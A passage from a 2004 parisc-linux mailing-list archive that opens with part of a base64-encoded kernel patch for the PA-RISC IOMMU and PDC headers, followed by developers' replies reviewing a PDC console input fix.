MAorKysgbGludXgtMi40LjI0LXBhMC9hcmNoL3BhcmlzYy9rZXJuZWwvc2JhX2lvbW11LmMJMjAw
NC0wMS0yNiAxNjoyNDowMy4wMDAwMDAwMDAgKzAxMDAKQEAgLTU3OSw3ICs1NzksOCBAQAogCWlm
IChwaWRlID49IChpb2MtPnJlc19zaXplIDw8IDMpKSB7CiAJCXBpZGUgPSBzYmFfc2VhcmNoX2Jp
dG1hcChpb2MsIHBhZ2VzX25lZWRlZCk7CiAJCWlmIChwaWRlID49IChpb2MtPnJlc19zaXplIDw8
IDMpKQotCQkJcGFuaWMoX19GSUxFX18gIjogSS9PIE1NVSBAICVseCBpcyBvdXQgb2YgbWFwcGlu
ZyByZXNvdXJjZXNcbiIsIGlvYy0+aW9jX2hwYSk7CisJCQlwYW5pYygiJXM6IEkvTyBNTVUgQCAl
bHggaXMgb3V0IG9mIG1hcHBpbmcgcmVzb3VyY2VzXG4iLAorCQkJICAgICAgX19GSUxFX18sIGlv
Yy0+aW9jX2hwYSk7CiAJfQogCiAjaWZkZWYgQVNTRVJUX1BESVJfU0FOSVRZCkBAIC05MDQsOCAr
OTA1LDggQEAKICAqCiAgKiBTZWUgRG9jdW1lbnRhdGlvbi9ETUEtbWFwcGluZy50eHQKICAqLwot
c3RhdGljIHZvaWQKLXNiYV91bm1hcF9zaW5nbGUoc3RydWN0IHBjaV9kZXYgKmRldiwgZG1hX2Fk
ZHJfdCBpb3ZhLCBzaXplX3Qgc2l6ZSwgaW50IGRpcmVjdGlvbikKK3N0YXRpYyB2b2lkIHNiYV91
bm1hcF9zaW5nbGUoc3RydWN0IHBjaV9kZXYgKmRldiwgZG1hX2FkZHJfdCBpb3ZhLCBzaXplX3Qg
c2l6ZSwKKwkJIGludCBkaXJlY3Rpb24pCiB7CiAJc3RydWN0IGlvYyAqaW9jOwogI2lmIERFTEFZ
RURfUkVTT1VSQ0VfQ05UID4gMApAQCAtOTc0LDggKzk3NSw4IEBACiAgKgogICogU2VlIERvY3Vt
ZW50YXRpb24vRE1BLW1hcHBpbmcudHh0CiAgKi8KLXN0YXRpYyB2b2lkICoKLXNiYV9hbGxvY19j
b25zaXN0ZW50KHN0cnVjdCBwY2lfZGV2ICpod2Rldiwgc2l6ZV90IHNpemUsIGRtYV9hZGRyX3Qg
KmRtYV9oYW5kbGUpCitzdGF0aWMgdm9pZCAqc2JhX2FsbG9jX2NvbnNpc3RlbnQoc3RydWN0IHBj
aV9kZXYgKmh3ZGV2LCBzaXplX3Qgc2l6ZSwKKwkJCQkgIGRtYV9hZGRyX3QgKmRtYV9oYW5kbGUp
CiB7CiAJdm9pZCAqcmV0OwogCkBAIC0xMDA2LDcgKzEwMDcsOCBAQAogICogU2VlIERvY3VtZW50
YXRpb24vRE1BLW1hcHBpbmcudHh0CiAgKi8KIHN0YXRpYyB2b2lkCi1zYmFfZnJlZV9jb25zaXN0
ZW50KHN0cnVjdCBwY2lfZGV2ICpod2Rldiwgc2l6ZV90IHNpemUsIHZvaWQgKnZhZGRyLCBkbWFf
YWRkcl90IGRtYV9oYW5kbGUpCitzYmFfZnJlZV9jb25zaXN0ZW50KHN0cnVjdCBwY2lfZGV2ICpo
d2Rldiwgc2l6ZV90IHNpemUsIHZvaWQgKnZhZGRyLAorCQkgICAgZG1hX2FkZHJfdCBkbWFfaGFu
ZGxlKQogewogCXNiYV91bm1hcF9zaW5nbGUoaHdkZXYsIGRtYV9oYW5kbGUsIHNpemUsIDApOwog
CWZyZWVfcGFnZXMoKHVuc2lnbmVkIGxvbmcpIHZhZGRyLCBnZXRfb3JkZXIoc2l6ZSkpOwpAQCAt
MTExMyw3ICsxMTE1LDcgQEAKIAogLyoKICoqIFR3byBhZGRyZXNzIHJhbmdlcyBhcmUgRE1BIGNv
bnRpZ3VvdXMgKmlmZiogImVuZCBvZiBwcmV2IiBhbmQKLSoqICJzdGFydCBvZiBuZXh0IiBhcmUg
Ym90aCBvbiBhIHBhZ2UgYm91bmRyeS4KKyoqICJzdGFydCBvZiBuZXh0IiBhcmUgYm90aCBvbiBh
IHBhZ2UgYm91bmRhcnkuCiAqKgogKiogKHNoaWZ0IGxlZnQgaXMgYSBxdWljayB0cmljayB0byBt
YXNrIG9mZiB1cHBlciBiaXRzKQogKi8KQEAgLTExMzEsNyArMTEzMyw3IEBACiAgKiBpbiB0aGUg
RE1BIHN0cmVhbS4gQWxsb2NhdGVzIFBESVIgZW50cmllcyBidXQgZG9lcyBub3QgZmlsbCB0aGVt
LgogICogUmV0dXJucyB0aGUgbnVtYmVyIG9mIERNQSBjaHVua3MuCiAgKgotICogRG9pbmcgdGhl
IGZpbGwgc2VwZXJhdGUgZnJvbSB0aGUgY29hbGVzY2luZy9hbGxvY2F0aW9uIGtlZXBzIHRoZQor
ICogRG9pbmcgdGhlIGZpbGwgc2VwYXJhdGUgZnJvbSB0aGUgY29hbGVzY2luZy9hbGxvY2F0aW9u
IGtlZXBzIHRoZQogICogY29kZSBzaW1wbGVyLiBGdXR1cmUgZW5oYW5jZW1lbnQgY291bGQgbWFr
ZSBvbmUgcGFzcyB0aHJvdWdoCiAgKiB0aGUgc2dsaXN0IGRvIGJvdGguCiAgKi8KQEAgLTEyMTgs
NyArMTIyMCw3IEBACiAJCQkqKiBjYW4ndCBjaGFuZ2UuIEFuZCB3ZSBuZWVkIHRoZSBvZmZzZXQg
ZnJvbSB0aGUgZmlyc3QKIAkJCSoqIGNodW5rIC0gbm90IHRoZSBsYXN0IG9uZS4gRXJnbyBTdWNj
ZXNzaXZlIGNodW5rcwogCQkJKiogbXVzdCBzdGFydCBvbiBwYWdlIGJvdW5kYXJpZXMgYW5kIGRv
dmUgdGFpbAotCQkJKiogd2l0aCBpdCdzIHByZWRlY2Vzc29yLgorCQkJKiogd2l0aCBpdHMgcHJl
ZGVjZXNzb3IuCiAJCQkqLwogCQkJc2dfZG1hX2xlbih2Y29udGlnX3NnKSA9IHZjb250aWdfbGVu
OwogCkBAIC0xMjY4LDcgKzEyNzAsOCBAQAogICogU2VlIERvY3VtZW50YXRpb24vRE1BLW1hcHBp
bmcudHh0CiAgKi8KIHN0YXRpYyBpbnQKLXNiYV9tYXBfc2coc3RydWN0IHBjaV9kZXYgKmRldiwg
c3RydWN0IHNjYXR0ZXJsaXN0ICpzZ2xpc3QsIGludCBuZW50cywgaW50IGRpcmVjdGlv
bikKK3NiYV9tYXBfc2coc3RydWN0IHBjaV9kZXYgKmRldiwgc3RydWN0IHNjYXR0ZXJsaXN0ICpz
Z2xpc3QsIGludCBuZW50cywKKwkgICBpbnQgZGlyZWN0aW9uKQogewogCXN0cnVjdCBpb2MgKmlv
YzsKIAlpbnQgY29hbGVzY2VkLCBmaWxsZWQgPSAwOwpAQCAtMTM1MCw3ICsxMzUzLDggQEAKICAq
IFNlZSBEb2N1bWVudGF0aW9uL0RNQS1tYXBwaW5nLnR4dAogICovCiBzdGF0aWMgdm9pZCAKLXNi
YV91bm1hcF9zZyhzdHJ1Y3QgcGNpX2RldiAqZGV2LCBzdHJ1Y3Qgc2NhdHRlcmxpc3QgKnNnbGlz
dCwgaW50IG5lbnRzLCBpbnQgZGlyZWN0aW9uKQorc2JhX3VubWFwX3NnKHN0cnVjdCBwY2lfZGV2
ICpkZXYsIHN0cnVjdCBzY2F0dGVybGlzdCAqc2dsaXN0LCBpbnQgbmVudHMsCisJICAgICBpbnQg
ZGlyZWN0aW9uKQogewogCXN0cnVjdCBpb2MgKmlvYzsKICNpZmRlZiBBU1NFUlRfUERJUl9TQU5J
VFkKQEAgLTEzOTUsMTUgKzEzOTksMTUgQEAKIH0KIAogc3RhdGljIHN0cnVjdCBwY2lfZG1hX29w
cyBzYmFfb3BzID0gewotCXNiYV9kbWFfc3VwcG9ydGVkLAotCXNiYV9hbGxvY19jb25zaXN0ZW50
LAkvKiBhbGxvY2F0ZSBjYWNoZWFibGUgaG9zdCBtZW0gKi8KLQlzYmFfZnJlZV9jb25zaXN0ZW50
LAkvKiByZWxlYXNlIGNhY2hlYWJsZSBob3N0IG1lbSAqLwotCXNiYV9tYXBfc2luZ2xlLAotCXNi
YV91bm1hcF9zaW5nbGUsCi0Jc2JhX21hcF9zZywKLQlzYmFfdW5tYXBfc2csCi0JTlVMTCwJCQkv
KiBkbWFfc3luY19zaW5nbGUgKi8KLQlOVUxMCQkJLyogZG1hX3N5bmNfc2cgKi8KKwkuZG1hX3N1
cHBvcnRlZCA9CXNiYV9kbWFfc3VwcG9ydGVkLAorCS5hbGxvY19jb25zaXN0ZW50ID0Jc2JhX2Fs
bG9jX2NvbnNpc3RlbnQsCS8qIGFsbG9jYXRlIGNhY2hlYWJsZSBob3N0IG1lbSAqLworCS5mcmVl
X2NvbnNpc3RlbnQgPQlzYmFfZnJlZV9jb25zaXN0ZW50LAkvKiByZWxlYXNlIGNhY2hlYWJsZSBo
b3N0IG1lbSAqLworCS5tYXBfc2luZ2xlID0JCXNiYV9tYXBfc2luZ2xlLAorCS51bm1hcF9zaW5n
bGUgPQkJc2JhX3VubWFwX3NpbmdsZSwKKwkubWFwX3NnID0JCXNiYV9tYXBfc2csCisJLnVubWFw
X3NnID0JCXNiYV91bm1hcF9zZywKKwkuZG1hX3N5bmNfc2luZ2xlID0JTlVMTCwKKwkuZG1hX3N5
bmNfc2cgPQkJTlVMTCwKIH07CiAKIApAQCAtMTY3OCw2ICsxNjgyLDIyIEBACiAJaW50IG51bV9p
b2M7CiAJdTY0IGlvY19jdGw7CiAKKwlpZiAoIWlzX3BkY19wYXQoKSkgeworCQkvKiAKKwkJICog
U2h1dGRvd24gdGhlIFVTQiBjb250cm9sbGVyIG9uIEFzdHJvLWJhc2VkIHdvcmtzdGF0aW9ucy4K
KwkJICogT25jZSB3ZSByZXByb2dyYW0gdGhlIElPTU1VLCB0aGUgbmV4dCBETUEgcGVyZm9ybWVk
IGJ5CisJCSAqIFVTQiB3aWxsIEhQTUMgdGhlIGJveC4KKwkJICovCisJCXBkY19pb19yZXNldF9k
ZXZpY2VzKCk7CisKKwkJLyoKKwkJICogWFhYIE1heSBuZWVkIHNvbWV0aGluZyBtb3JlIHNvcGhp
c3RpY2F0ZWQgdG8gZGVhbAorCQkgKiAgICAgd2l0aCBETUEgZnJvbSBMQU4uIE1heWJlIHVzZSBw
YWdlIHplcm8gYm9vdCBkZXZpY2UKKwkJICogICAgIGFzIGEgaGFuZGxlIHRvIHRhbGsgdG8gUERD
IGFib3V0IHdoaWNoIGRldmljZSB0bworCQkgKiAgICAgc2h1dGRvd24uIFRoaXMgYWxzbyBuZWVk
cyB0byB3b3JrIGZvciBpc19wZGNfcGF0KCkuIAorCQkgKi8KKwl9CisKIAlpb2NfY3RsID0gUkVB
RF9SRUcoc2JhX2Rldi0+c2JhX2hwYStJT0NfQ1RSTCk7CiAJREJHX0lOSVQoIiVzKCkgaHBhIDB4
JWx4IGlvY19jdGwgMHglTHggLT4iLAogCQlfX0ZVTkNUSU9OX18sIHNiYV9kZXYtPnNiYV9ocGEs
IGlvY19jdGwpOwpAQCAtMTcyOCw5ICsxNzQ4LDEwIEBACiB7CiAJaW50IGk7CiAKLQkvKiBhZGQg
dGhpcyBvbmUgdG8gdGhlIGhlYWQgb2YgdGhlIGxpc3QgKG9yZGVyIGRvZXNuJ3QgbWF0dGVyKQot
CSoqIFRoaXMgd2lsbCBiZSB1c2VmdWwgZm9yIGRlYnVnZ2luZyAtIGVzcGVjaWFsbHkgaWYgd2Ug
Z2V0IGNvcmVkdW1wcwotCSovCisJLyoKKwkgKiBhZGQgdGhpcyBvbmUgdG8gdGhlIGhlYWQgb2Yg
dGhlIGxpc3QgKG9yZGVyIGRvZXNuJ3QgbWF0dGVyKQorCSAqIFRoaXMgd2lsbCBiZSB1c2VmdWwg
Zm9yIGRlYnVnZ2luZyAtIGVzcGVjaWFsbHkgaWYgd2UgZ2V0IGNvcmVkdW1wcworCSAqLwogCXNi
YV9kZXYtPm5leHQgPSBzYmFfbGlzdDsKIAlzYmFfbGlzdCA9IHNiYV9kZXY7CiAKQEAgLTE3NjQs
NyArMTc4NSw4IEBACiAKIAkJaWYgKE5VTEwgPT0gc2JhX2Rldi0+aW9jW2ldLnJlc19tYXApCiAJ
CXsKLQkJCXBhbmljKF9fRklMRV9fICI6JXMoKSBjb3VsZCBub3QgYWxsb2NhdGUgcmVzb3VyY2Ug
bWFwXG4iLCBfX0ZVTkNUSU9OX18gKTsKKwkJCXBhbmljKCIlczolcygpIGNvdWxkIG5vdCBhbGxv
Y2F0ZSByZXNvdXJjZSBtYXBcbiIsCisJCQkgICAgICBfX0ZJTEVfXywgX19GVU5DVElPTl9fKTsK
IAkJfQogCiAJCW1lbXNldChzYmFfZGV2LT5pb2NbaV0ucmVzX21hcCwgMCwgcmVzX3NpemUpOwpA
QCAtMTkxOCw5ICsxOTQwLDkgQEAKIGludCBzYmFfZHJpdmVyX2NhbGxiYWNrKHN0cnVjdCBwYXJp
c2NfZGV2aWNlICopOwogCiBzdGF0aWMgc3RydWN0IHBhcmlzY19kcml2ZXIgc2JhX2RyaXZlciA9
IHsKLQluYW1lOgkJTU9EVUxFX05BTUUsCi0JaWRfdGFibGU6CXNiYV90YmwsCi0JcHJvYmU6CQlz
YmFfZHJpdmVyX2NhbGxiYWNrLAorCS5uYW1lCT0JTU9EVUxFX05BTUUsCisJLmlkX3RhYmxlID0J
c2JhX3RibCwKKwkucHJvYmUgPQlzYmFfZHJpdmVyX2NhbGxiYWNrLAogfTsKIAogLyoKZGlmZiAt
TmF1clggZG9udGRpZmYgbGludXgtMi40LjI0LXBhMC5vcmlnL2luY2x1ZGUvYXNtLXBhcmlzYy9w
ZGMuaCBsaW51eC0yLjQuMjQtcGEwL2luY2x1ZGUvYXNtLXBhcmlzYy9wZGMuaAotLS0gbGludXgt
Mi40LjI0LXBhMC5vcmlnL2luY2x1ZGUvYXNtLXBhcmlzYy9wZGMuaAkyMDAyLTEwLTA0IDA3OjQ4
OjQ3LjAwMDAwMDAwMCArMDIwMAorKysgbGludXgtMi40LjI0LXBhMC9pbmNsdWRlL2FzbS1wYXJp
c2MvcGRjLmgJMjAwNC0wMS0yNiAxMjo1MToyNS4wMDAwMDAwMDAgKzAxMDAKQEAgLTE5
MSw4ICsxOTEsOCBAQAogCiAjZGVmaW5lIFBEQ19JTwkJMTM1CQkvKiBsb2cgZXJyb3IgaW5mbywg
cmVzZXQgSU8gc3lzdGVtICovCiAjZGVmaW5lIFBEQ19JT19SRUFEX0FORF9DTEVBUl9FUlJPUlMJ
MAotI2RlZmluZSBQRENfSU9fUkVBRF9BTkRfTE9HX0VSUk9SUwkxCi0jZGVmaW5lIFBEQ19JT19T
VVNQRU5EX1VTQgkJMgorI2RlZmluZSBQRENfSU9fUkVTRVQJCQkxCisjZGVmaW5lIFBEQ19JT19S
RVNFVF9ERVZJQ0VTCQkyCiAvKiBzZXRzIGJpdHMgNiY3IChsaXR0bGUgZW5kaWFuKSBvZiB0aGUg
SGNDb250cm9sIFJlZ2lzdGVyICovCiAjZGVmaW5lIFBEQ19JT19VU0JfU1VTUEVORAkweEMwMDAw
MDAwMDAwMDAwMDAKICNkZWZpbmUgUERDX0lPX0VFUFJPTV9JT19FUlJfVEFCTEVfRlVMTAktNQkv
KiByZXR1cm4gdmFsdWUgKi8KQEAgLTQ3Niw3ICs0NzYsMTEgQEAKICNkZWZpbmUgUERDX1RZUEVf
U1lTVEVNX01BUAkgMSAvKiAzMi1iaXQsIGJ1dCBzdXBwb3J0cyBQRENfU1lTVEVNX01BUCAqLwog
I2RlZmluZSBQRENfVFlQRV9TTkFLRQkJIDIgLyogRG9lc24ndCBzdXBwb3J0IFNZU1RFTV9NQVAg
Ki8KIAotI2RlZmluZSBpc19wZGNfcGF0KCkJKHBkY190eXBlID09IFBEQ19UWVBFX1BBVCkKKyNp
ZmRlZiBDT05GSUdfUEFSSVNDNjQKKyNkZWZpbmUgaXNfcGRjX3BhdCgpICAgIChQRENfVFlQRV9Q
QVQgPT0gcGRjX3R5cGUpCisjZWxzZQorI2RlZmluZSBpc19wZGNfcGF0KCkgICAgKDApCisjZW5k
aWYKIAogc3RydWN0IHBkY19jaGFzc2lzX2luZm8geyAgICAgICAvKiBmb3IgUERDX0NIQVNTSVNf
SU5GTyAqLwogCXVuc2lnbmVkIGxvbmcgYWN0Y250OyAgIC8qIGFjdHVhbCBudW1iZXIgb2YgYnl0
ZXMgcmV0dXJuZWQgKi8KQEAgLTg5Nyw3ICs5MDEsNyBAQAogCV9fdTMyCXBhZDYwOFsxMjZdOwog
fTsKIAotI2VuZGlmIC8qIF9fQVNTRU1CTFlfXyAqLworI2VuZGlmIC8qICFfX0FTU0VNQkxZX18g
Ki8KIAogLyogUGFnZSBaZXJvIGNvbnN0YW50IG9mZnNldHMgdXNlZCBieSB0aGUgSFBNQyBoYW5k
bGVyICovCiAKQEAgLTk1MSw3ICs5NTUsOCBAQAogaW50IHBkY19kb19yZXNldCh2b2lkKTsKIGlu
dCBwZGNfc29mdF9wb3dlcl9pbmZvKHVuc2lnbmVkIGxvbmcgKnBvd2VyX3JlZyk7CiBpbnQgcGRj
X3NvZnRfcG93ZXJfYnV0dG9uKGludCBzd19jb250cm9sKTsKLXZvaWQgcGRjX3N1c3BlbmRfdXNi
KHZvaWQpOwordm9pZCBwZGNfaW9fcmVzZXQodm9pZCk7Cit2b2lkIHBkY19pb19yZXNldF9kZXZp
Y2VzKHZvaWQpOwogaW50IHBkY19pb2RjX2dldGModm9pZCk7CiB2b2lkIHBkY19pb2RjX3B1dGMo
dW5zaWduZWQgY2hhciBjKTsKIHZvaWQgcGRjX2lvZGNfb3V0Yyh1bnNpZ25lZCBjaGFyIGMpOwpA
QCAtOTYzLDcgKzk2OCw2IEBACiAKICNpZmRlZiBfX0xQNjRfXwogaW50IHBkY19wYXRfY2hhc3Np
c19zZW5kX2xvZyh1bnNpZ25lZCBsb25nIHN0YXR1cywgdW5zaWduZWQgbG9uZyBkYXRhKTsKLQog
aW50IHBkY19wYXRfY2VsbF9nZXRfbnVtYmVyKHN0cnVjdCBwZGNfcGF0X2NlbGxfbnVtICpjZWxs
X2luZm8pOwogaW50IHBkY19wYXRfY2VsbF9tb2R1bGUodW5zaWduZWQgbG9uZyAqYWN0Y250LCB1
bnNpZ25lZCBsb25nIHBsb2MsIHVuc2lnbmVkIGxvbmcgbW9kLAogCQkJdW5zaWduZWQgbG9uZyB2
aWV3X3R5cGUsIHZvaWQgKm1lbV9hZGRyKTsKQEAgLTEwMTAsNiArMTAxNCw2IEBACiAKIGV4dGVy
biB2b2lkIHBkY19pbml0KHZvaWQpOwogCi0jZW5kaWYgLyogX19BU1NFTUJMWV9fICovCisjZW5k
aWYgLyogIV9fQVNTRU1CTFlfXyAqLwogCiAjZW5kaWYgLyogX1BBUklTQ19QRENfSCAqLwo=

--========/400CB8A100004C60/mail.tiscali.be--


From - Thu Nov 08 21:30:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A fix for B2k and CONFIG_PDC_CONSOLE pb
Date: Mon, 26 Jan 2004 17:25:05 +0000
Lines: 49
Approved: news@gmane.org
Message-ID: <20040126172505.GQ11844@parcelfarce.linux.theplanet.co.uk>
References: <20040124210320.GA16272@colo.lackof.org>
	<400CB8A100004C60@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623150 4850 80.91.229.3 (22 Nov 2014 02:25:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:50 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@gmx.at>,
	Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: willy@www.linux.org.uk  Mon Jan 26 10:25:09 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1CE8048E1
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jan 2004 10:25:09 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AlATx-0006OW-NP; Mon, 26 Jan 2004 17:25:05 +0000
Content-Disposition: inline
In-Reply-To: <400CB8A100004C60@ocpmta3.freegates.net>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Jan 2004 17:25:09 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20701

On Mon, Jan 26, 2004 at 06:00:53PM +0100, Joel Soete wrote:
>  
>  	/* Bail if no console input device. */
> -	if (!PAGE0->mem_kbd.iodc_io)
> +	if ((PAGE0->mem_cons.cl_class != CL_DUPLEX) && !PAGE0->mem_kbd.iodc_io)
>  		return 0;
>  	
>  	/* wait for a keyboard (rs232)-input */
>  	spin_lock_irqsave(&pdc_lock, flags);
> -	real32_call(PAGE0->mem_kbd.iodc_io,
> -		    (unsigned long)PAGE0->mem_kbd.hpa, ENTRY_IO_CIN,
> -		    PAGE0->mem_kbd.spa, __pa(PAGE0->mem_kbd.dp.layers), 
> -		    __pa(iodc_retbuf), 0, __pa(iodc_dbuf), 1, 0);
> +	if (PAGE0->mem_cons.cl_class == CL_DUPLEX)

This doesn't make sense.  PAGE0->mem_cons.cl_class has to be CL_DUPLEX
otherwise the test above would have failed.  Do you perhaps mean that &&
above to be an || ?  If so, this would all read better as ...

	/* wait for a keyboard (rs232)-input */
	spin_lock_irqsave(&pdc_lock, flags);
	if (PAGE0->mem_cons.cl_class == CL_DUPLEX) {

		real32_call(PAGE0->mem_cons.iodc_io,
			    (unsigned long)PAGE0->mem_cons.hpa, ENTRY_IO_CIN,
			    PAGE0->mem_cons.spa, __pa(PAGE0->mem_cons.dp.layers), 
			    __pa(iodc_retbuf), 0, __pa(iodc_dbuf), 1, 0);
	} else if (PAGE0->mem_kbd.iodc_io) {
		real32_call(PAGE0->mem_kbd.iodc_io,
			    (unsigned long)PAGE0->mem_kbd.hpa, ENTRY_IO_CIN,
			    PAGE0->mem_kbd.spa, __pa(PAGE0->mem_kbd.dp.layers), 
			    __pa(iodc_retbuf), 0, __pa(iodc_dbuf), 1, 0);
	} else {
		spin_unlock_irqrestore(&pdc_lock, flags);
		return 0;
	}

Slightly ugly to have two unlocks for the same lock, but that's better
than duplicating the test.  I haven't looked at the code, maybe we could
use a goto instead.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:30:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A fix for B2k and CONFIG_PDC_CONSOLE pb
Date: Mon, 26 Jan 2004 19:20:26 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <40153110000001C0@ocpmta2.freegates.net>
References: <20040126172505.GQ11844@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623150 4853 80.91.229.3 (22 Nov 2014 02:25:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:50 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@gmx.at>,
	Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: soete.joel@tiscali.be  Mon Jan 26 11:20:34 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id E6470484B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jan 2004 11:20:33 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AlBLW-0001mL-00; Mon, 26 Jan 2004 19:20:26 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 26 Jan 2004 19:20:26 +0100
In-Reply-To: <20040126172505.GQ11844@parcelfarce.linux.theplanet.co.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Jan 2004 18:20:35 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20702



> +	if ((PAGE0->mem_cons.cl_class != CL_DUPLEX) && !PAGE0->mem_kbd.iodc_io)
>  		return 0;
Right Matthew this case is nearly impossible (may be excepted if disconected
the usb kbd during the boot), it would means that my pdc_console is not a
serial one (ie graphic([01])) but no usb kdb found, so in that case pdc would
switch console automaticaly to serial.

I would just still check the case when I have an usb kbd (I would have to
recover one) but the pdc console is setup to serial port (eg no graphic screen
available) just for an output screen without input kbd? 

Thanks for your attention and remarks,
    Joel


-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A fix for B2k and CONFIG_PDC_CONSOLE pb
Date: Mon, 26 Jan 2004 19:38:50 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <4015311000000204@ocpmta2.freegates.net>
References: <40153110000001C0@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623151 4856 80.91.229.3 (22 Nov 2014 02:25:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:51 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@gmx.at>,
	Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: soete.joel@tiscali.be  Mon Jan 26 11:38:54 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 83379484B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jan 2004 11:38:54 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1AlBdK-00012s-00; Mon, 26 Jan 2004 19:38:50 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 26 Jan 2004 19:38:50 +0100
In-Reply-To: <40153110000001C0@ocpmta2.freegates.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
